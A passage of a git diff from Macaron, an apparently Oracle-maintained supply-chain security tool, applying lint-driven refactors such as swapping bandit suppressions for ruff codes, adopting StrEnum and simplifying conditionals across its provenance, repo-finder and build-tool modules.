prelude.update(project_table_to_key(f"{table_name[1:]}_attribute", table)) diff --git a/src/macaron/policy_engine/souffle.py b/src/macaron/policy_engine/souffle.py index cfec4e6af..d6ea482da 100644 --- a/src/macaron/policy_engine/souffle.py +++ b/src/macaron/policy_engine/souffle.py @@ -12,8 +12,9 @@ import logging import os import shutil -import subprocess # nosec B404 +import subprocess import tempfile +import typing from types import TracebackType logger: logging.Logger = logging.getLogger(__name__) @@ -119,9 +120,10 @@ def _invoke_souffle(self, source_file: str, additional_args: list[str] | None = f"--output-dir={self.output_dir}", f"--fact-dir={self.fact_dir}", f"--library-dir={self.library_dir}", - ] + additional_args + *additional_args, + ] logger.debug("Executing souffle: %s", " ".join(cmd)) - result = subprocess.run(cmd, shell=False, capture_output=True, cwd=self.temp_dir, check=False) # nosec B603 + result = subprocess.run(cmd, shell=False, capture_output=True, cwd=self.temp_dir, check=False) # noqa: S603 # Souffle doesn't exit with non-zero when the datalog program contains errors, but check anyway. self.souffle_stderr = result.stderr.decode("utf-8") logger.debug("Souffle stdout: \n%s", result.stdout.decode("utf-8")) @@ -187,7 +189,7 @@ def load_csv_output(self) -> dict: result[file_name[0 : file_name.rfind(".")]] = list(reader) return result - def __enter__(self) -> "SouffleWrapper": + def __enter__(self) -> typing.Self: return self def __exit__( diff --git a/src/macaron/policy_engine/souffle_code_generator.py b/src/macaron/policy_engine/souffle_code_generator.py index b768ba5a7..881730152 100644 --- a/src/macaron/policy_engine/souffle_code_generator.py +++ b/src/macaron/policy_engine/souffle_code_generator.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Generate souffle datalog for policy prelude.""" @@ -102,8 +102,10 @@ def table_to_declaration(table: Table) -> str: >>> from sqlalchemy import Column, MetaData, Table >>> from sqlalchemy.sql.sqltypes import Boolean, Integer, String, Text >>> metadata = MetaData() - >>> tbl = Table("_example", metadata, Column("id", Integer, nullable=False), Column("hello", String)) - >>> assert table_to_declaration(tbl) == '.decl example (id: number, hello: symbol)' + >>> tbl = Table( + ... "_example", metadata, Column("id", Integer, nullable=False), Column("hello", String) + ... ) + >>> assert table_to_declaration(tbl) == ".decl example (id: number, hello: symbol)" Parameters ---------- @@ -162,7 +164,7 @@ def get_fact_input_statements(db_name: os.PathLike | str, metadata: MetaData) -> return SouffleProgram( directives={ f'.input {table_name[1:]} (IO=sqlite, filename="{db_name}")' - for table_name in metadata.tables.keys() + for table_name in metadata.tables if table_name[0] == "_" } ) diff --git a/src/macaron/provenance/provenance_extractor.py b/src/macaron/provenance/provenance_extractor.py index b4003b0d0..0ebb91832 100644 --- a/src/macaron/provenance/provenance_extractor.py +++ b/src/macaron/provenance/provenance_extractor.py @@ -13,7 +13,7 @@ from macaron.json_tools import JsonType, json_extract from macaron.repo_finder import to_domain_from_known_purl_types from macaron.repo_finder.commit_finder import AbstractPurlType, determine_abstract_purl_type -from macaron.slsa_analyzer.provenance.intoto import InTotoPayload, InTotoV1Payload, InTotoV01Payload +from macaron.slsa_analyzer.provenance.intoto import InTotoPayload, InTotoV01Payload, InTotoV1Payload from macaron.slsa_analyzer.provenance.intoto.v01 import InTotoV01Statement from macaron.slsa_analyzer.provenance.intoto.v1 import InTotoV1Statement @@ -60,7 +60,7 @@ def extract_repo_and_commit_from_provenance(payload: InTotoPayload) -> tuple[str msg = ( f"Extraction from provenance not supported for versions: " - f"predicate_type {payload.statement.get('predicateType')}, in-toto {str(type(payload))}." + f"predicate_type {payload.statement.get('predicateType')}, in-toto {type(payload)!s}." ) logger.debug(msg) raise ProvenanceError(msg) @@ -260,8 +260,8 @@ def _extract_from_witness_provenance(payload: InTotoV01Payload) -> tuple[str | N continue if entry_type.startswith("https://witness.dev/attestations/git/"): commit = json_extract(entry, ["attestation", "commithash"], str) - elif entry_type.startswith("https://witness.dev/attestations/gitlab/") or entry_type.startswith( - "https://witness.dev/attestations/github/" + elif entry_type.startswith( + ("https://witness.dev/attestations/gitlab/", "https://witness.dev/attestations/github/") ): repo = json_extract(entry, ["attestation", "projecturl"], str) @@ -463,7 +463,7 @@ def get_build_invocation(self, statement: InTotoV01Statement | InTotoV1Statement repo = _clean_spdx(repo_uri) if repo is None: return gha_workflow, repo - invocation_url = f"{repo}/" f"actions/runs/{gh_run_id}" + invocation_url = f"{repo}/actions/runs/{gh_run_id}" return gha_workflow, invocation_url @@ -541,7 +541,7 @@ def get_build_invocation(self, statement: InTotoV01Statement | InTotoV1Statement repo = _clean_spdx(repo_uri) if repo is None: return gha_workflow, repo - invocation_url = f"{repo}/" f"actions/runs/{gh_run_id}" + invocation_url = f"{repo}/actions/runs/{gh_run_id}" return gha_workflow, invocation_url diff --git a/src/macaron/provenance/provenance_finder.py b/src/macaron/provenance/provenance_finder.py index e841fd397..e6808cb19 100644 --- a/src/macaron/provenance/provenance_finder.py +++ b/src/macaron/provenance/provenance_finder.py @@ -19,7 +19,7 @@ from macaron.repo_finder.repo_finder_deps_dev import DepsDevRepoFinder from macaron.repo_finder.repo_utils import get_repo_tags from macaron.slsa_analyzer.analyze_context import AnalyzeContext -from macaron.slsa_analyzer.checks.provenance_available_check import ProvenanceAvailableException +from macaron.slsa_analyzer.checks.provenance_available_check import ProvenanceAvailableError from macaron.slsa_analyzer.ci_service import GitHubActions from macaron.slsa_analyzer.ci_service.base_ci_service import NoneCIService from macaron.slsa_analyzer.package_registry import ( @@ -218,7 +218,7 @@ def find_gav_provenance(purl: PackageURL, registry: JFrogMavenRegistry) -> list[ Raises ------ - ProvenanceAvailableException + ProvenanceAvailableError If the discovered provenance file size exceeds the configured limit. """ if not registry.enabled: @@ -259,7 +259,7 @@ def find_gav_provenance(purl: PackageURL, registry: JFrogMavenRegistry) -> list[ "The check will not proceed due to potential security risks." ) logger.error(msg) - raise ProvenanceAvailableException(msg) + raise ProvenanceAvailableError(msg) provenances = [] witness_verifier_config = load_witness_verifier_config() diff --git a/src/macaron/provenance/provenance_verifier.py b/src/macaron/provenance/provenance_verifier.py index 2ab200b0b..396d929a5 100644 --- a/src/macaron/provenance/provenance_verifier.py +++ b/src/macaron/provenance/provenance_verifier.py @@ -8,7 +8,7 @@ import logging import os import shutil -import subprocess # nosec B404 +import subprocess import tarfile import zipfile from functools import partial @@ -132,7 +132,7 @@ def verify_npm_provenance(purl: PackageURL, provenance_assets: list[ProvenanceAs logger.debug("Signed and unsigned digests do not match.") return False - key = list(signed_digest.keys())[0] + key = next(iter(signed_digest.keys())) logger.debug( "Verified provenance against signed companion. Signed: %s, Unsigned: %s.", signed_digest[key][:7], @@ -150,9 +150,7 @@ def check_purls_equivalent(original_purl: PackageURL, new_purl: PackageURL) -> b or original_purl.namespace != new_purl.namespace ): return False - if original_purl.version and original_purl.version != new_purl.version: - return False - return True + return not (original_purl.version and original_purl.version != new_purl.version) def verify_ci_provenance(analyze_ctx: AnalyzeContext, ci_info: CIInfo, download_path: str) -> bool: @@ -289,14 +287,14 @@ def _validate_path_traversal(path: str) -> bool: if zipfile.is_zipfile(file_path): with zipfile.ZipFile(file_path, "r") as zip_file: members = (path for path in zip_file.namelist() if _validate_path_traversal(path)) - zip_file.extractall(temp_path, members=members) # nosec B202:tarfile_unsafe_members + zip_file.extractall(temp_path, members=members) # noqa: S202 return True elif tarfile.is_tarfile(file_path): with tarfile.open(file_path, mode="r:gz") as tar_file: members_tarinfo = ( tarinfo for tarinfo in tar_file.getmembers() if _validate_path_traversal(tarinfo.name) ) - tar_file.extractall(temp_path, members=members_tarinfo) # nosec B202:tarfile_unsafe_members + tar_file.extractall(temp_path, members=members_tarinfo) # noqa: S202 return True except (tarfile.TarError, zipfile.BadZipFile, zipfile.LargeZipFile, OSError, ValueError) as error: logger.info(error) @@ -349,7 +347,7 @@ def _verify_slsa(download_path: str, prov_asset: AssetLocator, asset_name: str, ] try: - verifier_output = subprocess.run( # nosec B603 + verifier_output = subprocess.run( # noqa: S603 cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, @@ -425,7 +423,7 @@ def determine_provenance_slsa_level( if predicate: build_type = ProvenancePredicate.get_build_type(provenance_payload.statement) - if build_type in {SLSAGithubGenericBuildDefinitionV01.expected_build_type} and verified_l3: + if build_type == SLSAGithubGenericBuildDefinitionV01.expected_build_type and verified_l3: # 3. Provenance is created by the SLSA GitHub generator and verified. return 3 diff --git a/src/macaron/repo_finder/__init__.py b/src/macaron/repo_finder/__init__.py index 6221b357c..4c9842545 100644 --- a/src/macaron/repo_finder/__init__.py +++ b/src/macaron/repo_finder/__init__.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This package contains the repository and commit finding tools for software components.""" @@ -23,4 +23,4 @@ def to_domain_from_known_purl_types(purl_type: str) -> str | None: The git service domain corresponding to the purl type or None if the purl type is unknown. """ known_types = {"github": "github.com", "bitbucket": "bitbucket.org"} - return known_types.get(purl_type, None) + return known_types.get(purl_type) diff --git a/src/macaron/repo_finder/commit_finder.py b/src/macaron/repo_finder/commit_finder.py index b7f306e03..83a4afad1 100644 --- a/src/macaron/repo_finder/commit_finder.py +++ b/src/macaron/repo_finder/commit_finder.py @@ -290,7 +290,7 @@ def find_commit_from_version_and_name(git_obj: Git, name: str, version: str) -> name, version, ) - return commit if commit else None, CommitFinderInfo.MATCHED + return commit or None, CommitFinderInfo.MATCHED def _split_name(name: str) -> list[str]: @@ -400,7 +400,7 @@ def _build_version_pattern(name: str, version: str) -> tuple[Pattern | None, lis if count == 1: this_version_pattern = this_version_pattern + INFIX_1 elif count > 1: - if multi_sep: + if multi_sep: # noqa: SIM108 # Allow for a change in separator type. this_version_pattern = this_version_pattern + INFIX_3 else: @@ -813,7 +813,7 @@ def _compute_tag_version_similarity( # Decrease score if there is a single suffix, and it matches the last version part. score = score - 0.5 - score = 0 if score < 0 else score + score = max(score, 0) if tag_suffix: # Slightly prefer matches with a release related suffix. diff --git a/src/macaron/repo_finder/repo_finder.py b/src/macaron/repo_finder/repo_finder.py index 53ace076b..15d7f3bde 100644 --- a/src/macaron/repo_finder/repo_finder.py +++ b/src/macaron/repo_finder/repo_finder.py @@ -311,7 +311,6 @@ def find_source(purl_string: str, input_repo: str | None, latest_version_fallbac if not digest: if latest_version_fallback and not checked_latest_purl: - # When not cloning the latest version must be checked here. if latest_version_purl := get_latest_purl_if_different(purl): if latest_repo := get_latest_repo_if_different(latest_version_purl, found_repo): @@ -419,7 +418,7 @@ def prepare_repo( digest: str = "", purl: PackageURL | None = None, latest_version_fallback: bool = True, - provenance_commit_digest: str | None = None + provenance_commit_digest: str | None = None, ) -> tuple[Git | None, CommitFinderInfo]: """Prepare the target repository for analysis. diff --git a/src/macaron/repo_finder/repo_finder_java.py b/src/macaron/repo_finder/repo_finder_java.py index 16889603d..3c614bfdf 100644 --- a/src/macaron/repo_finder/repo_finder_java.py +++ b/src/macaron/repo_finder/repo_finder_java.py @@ -6,7 +6,7 @@ import logging import re import urllib.parse -from xml.etree.ElementTree import Element # nosec B405 +from xml.etree.ElementTree import Element from packageurl import PackageURL @@ -240,7 +240,7 @@ def _find_scm(self, pom: Element, tags: list[str], resolve_properties: bool = Tr for tag in tags: element: Element | None = pom - if tag.startswith("properties."): + if tag.startswith("properties."): # noqa: SIM108 # Tags under properties are often "." separated. # These can be safely split into two resulting tags as nested tags are not allowed here. tag_parts = ["properties", tag[11:]] @@ -319,10 +319,7 @@ def _resolve_properties(self, pom: Element, values: list[str]) -> list[str]: # Calculate replacements - matches any number of ${...} entries in the current value. for match in re.finditer("\\$\\{[^}]+}", value): text = match.group().replace("$", "").replace("{", "").replace("}", "") - if text.startswith("project."): - text = text.replace("project.", "") - else: - text = f"properties.{text}" + text = text.replace("project.", "") if text.startswith("project.") else f"properties.{text}" # Call find_scm with property resolution flag as False to prevent the possibility of endless looping. result = self._find_scm(pom, [text], False) if not result: @@ -337,7 +334,7 @@ def _resolve_properties(self, pom: Element, values: list[str]) -> list[str]: # -> # git@github.com:owner/project1.8-2023.git for replacement in reversed(replacements): - value = f"{value[:replacement[0]]}{replacement[1]}{value[replacement[2]:]}" + value = f"{value[: replacement[0]]}{replacement[1]}{value[replacement[2] :]}" resolved_values.append(value) diff --git a/src/macaron/repo_finder/repo_utils.py b/src/macaron/repo_finder/repo_utils.py index 92fc243d5..e36a3df36 100644 --- a/src/macaron/repo_finder/repo_utils.py +++ b/src/macaron/repo_finder/repo_utils.py @@ -7,7 +7,7 @@ import logging import os import string -import subprocess # nosec B404 +import subprocess from urllib.parse import urlparse from packageurl import PackageURL @@ -125,10 +125,8 @@ def get_local_repos_path() -> str: If the directory does not exist, it is created. """ - local_repos_path = ( - global_config.local_repos_path - if global_config.local_repos_path - else os.path.join(global_config.output_path, GIT_REPOS_DIR, "local_repos") + local_repos_path = global_config.local_repos_path or os.path.join( + global_config.output_path, GIT_REPOS_DIR, "local_repos" ) if not os.path.exists(local_repos_path): os.makedirs(local_repos_path, exist_ok=True) @@ -173,10 +171,7 @@ def check_repo_urls_are_equivalent(repo_1: str, repo_2: str) -> bool: """ repo_url_1 = urlparse(repo_1) repo_url_2 = urlparse(repo_2) - if repo_url_1.hostname != repo_url_2.hostname or repo_url_1.path != repo_url_2.path: - return False - - return True + return not (repo_url_1.hostname != repo_url_2.hostname or repo_url_1.path != repo_url_2.path) def get_repo_tags(git_obj: Git) -> dict[str, str]: @@ -218,7 +213,7 @@ def get_repo_tags(git_obj: Git) -> dict[str, str]: logger.debug("") return {} try: - result = subprocess.run( # nosec B603 + result = subprocess.run( args=["git", "show-ref", "--tags", "-d"], capture_output=True, cwd=repository_path, diff --git a/src/macaron/repo_finder/repo_validator.py b/src/macaron/repo_finder/repo_validator.py index acaf5fec9..68985cbfe 100644 --- a/src/macaron/repo_finder/repo_validator.py +++ b/src/macaron/repo_finder/repo_validator.py @@ -30,7 +30,7 @@ def find_valid_repository_url(urls: Iterable[str]) -> str: # URLs that fail to parse can be rejected here. continue redirect_url = resolve_redirects(parsed_url) - checked_url = get_remote_vcs_url(redirect_url if redirect_url else parsed_url.geturl()) + checked_url = get_remote_vcs_url(redirect_url or parsed_url.geturl()) if checked_url: return checked_url diff --git a/src/macaron/repo_verifier/repo_verifier_base.py b/src/macaron/repo_verifier/repo_verifier_base.py index dffa61141..b2fb95576 100644 --- a/src/macaron/repo_verifier/repo_verifier_base.py +++ b/src/macaron/repo_verifier/repo_verifier_base.py @@ -6,14 +6,14 @@ import abc import logging from dataclasses import dataclass -from enum import Enum +from enum import StrEnum from macaron.slsa_analyzer.build_tool import BaseBuildTool logger = logging.getLogger(__name__) -class RepositoryVerificationStatus(str, Enum): +class RepositoryVerificationStatus(StrEnum): """A class to store the status of the repo verification.""" #: We found evidence to prove that the repository can be linked back to the publisher of the artifact. diff --git a/src/macaron/slsa_analyzer/analyze_context.py b/src/macaron/slsa_analyzer/analyze_context.py index 93a3f48ba..79dbedf29 100644 --- a/src/macaron/slsa_analyzer/analyze_context.py +++ b/src/macaron/slsa_analyzer/analyze_context.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the Analyze Context class. @@ -348,7 +348,7 @@ def store_inferred_build_info_results( predicate["buildType"] = f"Custom {ci_service.name}" predicate["builder"]["id"] = trigger_link predicate["invocation"]["configSource"]["uri"] = ( - f"{ctx.component.repository.remote_path}" f"@refs/heads/{ctx.component.repository.branch_name}" + f"{ctx.component.repository.remote_path}@refs/heads/{ctx.component.repository.branch_name}" ) predicate["invocation"]["configSource"]["digest"]["sha1"] = ctx.component.repository.commit_sha predicate["invocation"]["configSource"]["entryPoint"] = trigger_link diff --git a/src/macaron/slsa_analyzer/analyzer.py b/src/macaron/slsa_analyzer/analyzer.py index c4bb9f80e..6f73bb33d 100644 --- a/src/macaron/slsa_analyzer/analyzer.py +++ b/src/macaron/slsa_analyzer/analyzer.py @@ -10,7 +10,7 @@ import sys import tempfile from collections.abc import Mapping -from datetime import datetime, timezone +from datetime import UTC, datetime from pathlib import Path from typing import NamedTuple @@ -70,7 +70,7 @@ from macaron.slsa_analyzer.build_tool import BUILD_TOOLS # To load all checks into the registry -from macaron.slsa_analyzer.checks import * # pylint: disable=wildcard-import,unused-wildcard-import # noqa: F401,F403 +from macaron.slsa_analyzer.checks import * # pylint: disable=wildcard-import,unused-wildcard-import # noqa: F403 from macaron.slsa_analyzer.ci_service import CI_SERVICES from macaron.slsa_analyzer.database_store import store_analyze_context_to_db from macaron.slsa_analyzer.git_service import GIT_SERVICES, BaseGitService, GitHub @@ -195,7 +195,7 @@ def run( # Note that the changes will be committed to the DB when the # current Session context terminates. analysis = Analysis( - analysis_time=datetime.now(tz=timezone.utc), + analysis_time=datetime.now(tz=UTC), macaron_version=__version__, ) @@ -279,9 +279,8 @@ def run( dup_record.context = find_ctx for record in report.get_records(): - if not record.status == SCMStatus.DUPLICATED_SCM: - if record.context: - store_analyze_context_to_db(record.context) + if record.status != SCMStatus.DUPLICATED_SCM and record.context: + store_analyze_context_to_db(record.context) # Store dependency relations. for parent, child in report.get_dependencies(): @@ -453,7 +452,7 @@ def run_single( analysis_target.branch, analysis_target.digest, analysis_target.parsed_purl, - provenance_commit_digest=provenance_commit_digest + provenance_commit_digest=provenance_commit_digest, ) if git_obj: final_digest = git_obj.get_head().hash @@ -466,18 +465,17 @@ def run_single( ) # Check if repo came from direct input. - if parsed_purl: - if check_if_input_purl_provenance_conflict( - bool(repo_path_input), - provenance_repo_url, - parsed_purl, - ): - return Record( - record_id=repo_id, - description="Input mismatch between repo (purl) and provenance.", - pre_config=config, - status=SCMStatus.ANALYSIS_FAILED, - ) + if parsed_purl and check_if_input_purl_provenance_conflict( + bool(repo_path_input), + provenance_repo_url, + parsed_purl, + ): + return Record( + record_id=repo_id, + description="Input mismatch between repo (purl) and provenance.", + pre_config=config, + status=SCMStatus.ANALYSIS_FAILED, + ) # Create the component. try: @@ -705,13 +703,9 @@ def add_repository(self, branch_name: str | None, git_obj: Git) -> Repository | commit_date_str, ) - self.rich_handler.add_description_table_content("Branch:", res_branch if res_branch else "None") - self.rich_handler.add_description_table_content( - "Commit Hash:", commit_sha if commit_sha else "[red]Not Found[/]" - ) - self.rich_handler.add_description_table_content( - "Commit Date:", commit_date_str if commit_date_str else "[red]Not Found[/]" - ) + self.rich_handler.add_description_table_content("Branch:", res_branch or "None") + self.rich_handler.add_description_table_content("Commit Hash:", commit_sha or "[red]Not Found[/]") + self.rich_handler.add_description_table_content("Commit Date:", commit_date_str or "[red]Not Found[/]") return repository @@ -1147,7 +1141,7 @@ def _determine_package_registries( """Determine the package registries used by the software component.""" relevant_package_registries = [] for package_registry in package_registries_info: - if not package_registry.ecosystem == analyze_ctx.component.type: + if package_registry.ecosystem != analyze_ctx.component.type: continue relevant_package_registries.append(package_registry) diff --git a/src/macaron/slsa_analyzer/build_tool/base_build_tool.py b/src/macaron/slsa_analyzer/build_tool/base_build_tool.py index e455a06bc..31229156c 100644 --- a/src/macaron/slsa_analyzer/build_tool/base_build_tool.py +++ b/src/macaron/slsa_analyzer/build_tool/base_build_tool.py @@ -14,7 +14,7 @@ from collections import deque from collections.abc import Callable, Iterable from dataclasses import dataclass -from enum import Enum +from enum import StrEnum from pathlib import Path from typing import TYPE_CHECKING, Any, TypeAlias, TypedDict @@ -37,7 +37,7 @@ BuildToolConfig: TypeAlias = tuple[str, float, str | None, str | None] -class BuildEcosystem(str, Enum): +class BuildEcosystem(StrEnum): """The supported build ecosystems.""" MAVEN = "maven" @@ -149,9 +149,8 @@ def _accepted(p: Path) -> bool: ) # Check for file directly at root. - if target_path := find_first_matching_file(root_dir, file_name): - if _accepted(target_path): - return target_path + if (target_path := find_first_matching_file(root_dir, file_name)) and _accepted(target_path): + return target_path def _enqueue_subdirs(directory: Path, queue: deque[Path]) -> None: """Add non-symlink subdirectories to the search queue.""" @@ -170,9 +169,8 @@ def _enqueue_subdirs(directory: Path, queue: deque[Path]) -> None: if filters and any(keyword in current_dir.name.lower() for keyword in filters): continue - if candidate_path := find_first_matching_file(current_dir, file_name): - if _accepted(candidate_path): - return candidate_path + if (candidate_path := find_first_matching_file(current_dir, file_name)) and _accepted(candidate_path): + return candidate_path _enqueue_subdirs(current_dir, search_queue) @@ -317,10 +315,9 @@ def match_purl_type(self, component_purl_type: str) -> bool: bool True if the type matches or is not restricted; False otherwise. """ - if component_purl_type.upper() in [b.name for b in BuildEcosystem] and component_purl_type != self.purl_type: - return False - # Otherwise return True because the component PURL type can repositories, like github. - return True + return not ( + component_purl_type.upper() in (b.name for b in BuildEcosystem) and component_purl_type != self.purl_type + ) def get_dep_analyzer(self) -> DependencyAnalyzer: """Create a DependencyAnalyzer for the build tool. @@ -332,9 +329,7 @@ def get_dep_analyzer(self) -> DependencyAnalyzer: """ return NoneDependencyAnalyzer() - def set_build_tool_configurations( - self, build_tool_configs: list[BuildToolConfig] - ) -> None: + def set_build_tool_configurations(self, build_tool_configs: list[BuildToolConfig]) -> None: """Set the build tool configurations for the instance. Parameters @@ -429,10 +424,7 @@ def is_build_command(self, cmd: list[str]) -> bool: return False build_tools = set(itertools.chain(self.builder, self.packager, self.publisher, self.interpreter)) - if any(tool for tool in build_tools if tool == cmd_program_name): - return True - - return False + return bool(any(tool for tool in build_tools if tool == cmd_program_name)) def match_cmd_args(self, cmd: list[str], tools: list[str], args: list[str]) -> bool: """ @@ -599,7 +591,7 @@ def is_deploy_command( if cmd["language"] is not self.language: return False, Confidence.HIGH # Some projects use a publisher tool and some use the build tool with deploy arguments. - deploy_tool = self.publisher if self.publisher else self.builder + deploy_tool = self.publisher or self.builder if not self.match_cmd_args(cmd=cmd["command"], tools=deploy_tool, args=self.deploy_arg): return False, Confidence.HIGH @@ -635,7 +627,7 @@ def is_package_command( if cmd["language"] is not self.language: return False, Confidence.HIGH - builder = self.packager if self.packager else self.builder + builder = self.packager or self.builder if not self.match_cmd_args(cmd=cmd["command"], tools=builder, args=self.build_arg): return False, Confidence.HIGH diff --git a/src/macaron/slsa_analyzer/build_tool/conda.py b/src/macaron/slsa_analyzer/build_tool/conda.py index 307368964..7d9de0b58 100644 --- a/src/macaron/slsa_analyzer/build_tool/conda.py +++ b/src/macaron/slsa_analyzer/build_tool/conda.py @@ -120,7 +120,7 @@ def is_deploy_command( cmd_program_name = os.path.basename(build_cmd[0]) # Some projects use a publisher tool and some use the build tool with deploy arguments. - deploy_tools = self.publisher if self.publisher else self.builder + deploy_tools = self.publisher or self.builder deploy_args = self.deploy_arg # Sometimes conda is called as a Python module. @@ -167,7 +167,7 @@ def is_package_command( if not cmd_program_name: return False, Confidence.HIGH - builder = self.packager if self.packager else self.builder + builder = self.packager or self.builder build_args = self.build_arg # Sometimes conda is called as a Python module. diff --git a/src/macaron/slsa_analyzer/build_tool/flit.py b/src/macaron/slsa_analyzer/build_tool/flit.py index 9fb565734..9fb38a972 100644 --- a/src/macaron/slsa_analyzer/build_tool/flit.py +++ b/src/macaron/slsa_analyzer/build_tool/flit.py @@ -132,7 +132,7 @@ def is_deploy_command( cmd_program_name = os.path.basename(build_cmd[0]) # Some projects use a publisher tool and some use the build tool with deploy arguments. - deploy_tools = self.publisher if self.publisher else self.builder + deploy_tools = self.publisher or self.builder deploy_args = self.deploy_arg # Sometimes flit is called as a Python module. @@ -179,7 +179,7 @@ def is_package_command( if not cmd_program_name: return False, Confidence.HIGH - builder = self.packager if self.packager else self.builder + builder = self.packager or self.builder build_args = self.build_arg # Sometimes flit is called as a Python module. diff --git a/src/macaron/slsa_analyzer/build_tool/gradle.py b/src/macaron/slsa_analyzer/build_tool/gradle.py index 14a4aaafa..cb22518b6 100644 --- a/src/macaron/slsa_analyzer/build_tool/gradle.py +++ b/src/macaron/slsa_analyzer/build_tool/gradle.py @@ -7,7 +7,7 @@ """ import logging -import subprocess # nosec B404 +import subprocess from pathlib import Path from macaron.config.defaults import defaults @@ -261,7 +261,7 @@ def get_group_id(self, gradle_exec: str, project_path: str) -> str | None: logger.info( "Identifying the group ID for the artifact. This can take a while if Gradle needs to be downloaded." ) - result = subprocess.run( # nosec B603 + result = subprocess.run( # noqa: S603 [gradle_exec, "properties"], capture_output=True, cwd=project_path, diff --git a/src/macaron/slsa_analyzer/build_tool/hatch.py b/src/macaron/slsa_analyzer/build_tool/hatch.py index 68b5d4864..a9d473224 100644 --- a/src/macaron/slsa_analyzer/build_tool/hatch.py +++ b/src/macaron/slsa_analyzer/build_tool/hatch.py @@ -67,9 +67,7 @@ def is_detected(self, target: Component) -> list[BuildToolConfig]: if not repo_path: return [] - results: list[BuildToolConfig] = ( - [] - ) + results: list[BuildToolConfig] = [] confidence_score = 1.0 for config_name in self.build_configs: if config_path := file_exists(repo_path, config_name, filters=self.path_filters): @@ -133,7 +131,7 @@ def is_deploy_command( cmd_program_name = os.path.basename(build_cmd[0]) # Some projects use a publisher tool and some use the build tool with deploy arguments. - deploy_tools = self.publisher if self.publisher else self.builder + deploy_tools = self.publisher or self.builder deploy_args = self.deploy_arg # Sometimes hatch is called as a Python module. @@ -180,7 +178,7 @@ def is_package_command( if not cmd_program_name: return False, Confidence.HIGH - builder = self.packager if self.packager else self.builder + builder = self.packager or self.builder build_args = self.build_arg # Sometimes hatch is called as a Python module. diff --git a/src/macaron/slsa_analyzer/build_tool/language.py b/src/macaron/slsa_analyzer/build_tool/language.py index 5b5d47d9f..8ad01a821 100644 --- a/src/macaron/slsa_analyzer/build_tool/language.py +++ b/src/macaron/slsa_analyzer/build_tool/language.py @@ -1,13 +1,13 @@ -# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains abstractions for build languages.""" -from enum import Enum +from enum import StrEnum from typing import Protocol, runtime_checkable -class BuildLanguage(str, Enum): +class BuildLanguage(StrEnum): """The supported build languages.""" JAVA = "java" diff --git a/src/macaron/slsa_analyzer/build_tool/npm.py b/src/macaron/slsa_analyzer/build_tool/npm.py index 56b07d722..6004bb06f 100644 --- a/src/macaron/slsa_analyzer/build_tool/npm.py +++ b/src/macaron/slsa_analyzer/build_tool/npm.py @@ -107,7 +107,7 @@ def is_deploy_command( cmd_program_name = os.path.basename(build_cmd[0]) # Some projects use a publisher tool and some use the build tool with deploy arguments. - deploy_tools = self.publisher if self.publisher else self.builder + deploy_tools = self.publisher or self.builder deploy_args = self.deploy_arg # Sometimes npm commands use the `run` sub-command: @@ -155,7 +155,7 @@ def is_package_command( if not cmd_program_name: return False, Confidence.HIGH - builder = self.packager if self.packager else self.builder + builder = self.packager or self.builder build_args = self.build_arg # Sometimes npm commands use the `run` sub-command: diff --git a/src/macaron/slsa_analyzer/build_tool/pip.py b/src/macaron/slsa_analyzer/build_tool/pip.py index 122b97ed6..fc27cbe95 100644 --- a/src/macaron/slsa_analyzer/build_tool/pip.py +++ b/src/macaron/slsa_analyzer/build_tool/pip.py @@ -67,9 +67,7 @@ def is_detected(self, target: Component) -> list[BuildToolConfig]: if not repo_path: return [] - results: list[BuildToolConfig] = ( - [] - ) + results: list[BuildToolConfig] = [] confidence_score = 1.0 @@ -143,7 +141,7 @@ def is_deploy_command( cmd_program_name = os.path.basename(build_cmd[0]) # Some projects use a publisher tool and some use the build tool with deploy arguments. - deploy_tools = self.publisher if self.publisher else self.builder + deploy_tools = self.publisher or self.builder deploy_args = self.deploy_arg # Sometimes pip is called as a Python module. @@ -190,7 +188,7 @@ def is_package_command( if not cmd_program_name: return False, Confidence.HIGH - builder = self.packager if self.packager else self.builder + builder = self.packager or self.builder build_args = self.build_arg # Sometimes pip is called as a Python module. diff --git a/src/macaron/slsa_analyzer/build_tool/poetry.py b/src/macaron/slsa_analyzer/build_tool/poetry.py index a6499fe30..c7b20a86e 100644 --- a/src/macaron/slsa_analyzer/build_tool/poetry.py +++ b/src/macaron/slsa_analyzer/build_tool/poetry.py @@ -78,9 +78,7 @@ def is_detected(self, target: Component) -> list[BuildToolConfig]: file_paths = (file_exists(repo_path, file, filters=self.path_filters) for file in self.build_configs) for config_path in file_paths: if config_path and os.path.basename(config_path) == "pyproject.toml": - if package_lock_exists: - results.append((str(config_path.relative_to(repo_path)), confidence_score, None, None)) - elif pyproject.contains_build_tool("poetry", config_path): + if package_lock_exists or pyproject.contains_build_tool("poetry", config_path): results.append((str(config_path.relative_to(repo_path)), confidence_score, None, None)) # Check the build-system section. else: @@ -139,7 +137,7 @@ def is_deploy_command( cmd_program_name = os.path.basename(build_cmd[0]) # Some projects use a publisher tool and some use the build tool with deploy arguments. - deploy_tools = self.publisher if self.publisher else self.builder + deploy_tools = self.publisher or self.builder deploy_args = self.deploy_arg # Sometimes poetry is called as a Python module. @@ -186,7 +184,7 @@ def is_package_command( if not cmd_program_name: return False, Confidence.HIGH - builder = self.packager if self.packager else self.builder + builder = self.packager or self.builder build_args = self.build_arg # Sometimes poetry is called as a Python module. diff --git a/src/macaron/slsa_analyzer/build_tool/pyproject.py b/src/macaron/slsa_analyzer/build_tool/pyproject.py index 5b327f94c..9a7152130 100644 --- a/src/macaron/slsa_analyzer/build_tool/pyproject.py +++ 